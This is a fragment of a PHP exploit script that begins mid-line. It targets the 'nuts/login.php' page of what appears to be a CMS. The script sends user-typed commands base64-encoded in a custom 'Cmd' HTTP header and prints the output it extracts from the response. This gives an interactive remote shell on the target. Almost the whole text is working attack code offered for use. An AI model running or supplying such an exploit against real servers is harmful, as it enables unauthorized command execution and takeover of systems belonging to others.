"cli") die($error[0]); if($argc < 3) { echo("\nUsage : php {$argv[0]} "); echo("\nExample: php {$argv[0]} localhost /"); die(); } if(isset($argv[1]) && isset($argv[2])) { $host = $argv[1]; $path = $argv[2]; } $pack = "GET {$path}nuts/login.php?r= HTTP/1.0\r\n"; $pack.= "Host: {$host}\r\n"; $pack.= "Cmd: %s\r\n"; $pack.= "Connection: close\r\n\r\n"; while(1) { print "\nAnonymous@{$host}:~# "; if(($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_nutCmsId_(.*)/s", http_send($host, sprintf($pack, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } function http_send($host, $pack) { if(!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}\n"); fwrite($sock, $pack); return stream_get_contents($sock); } ?>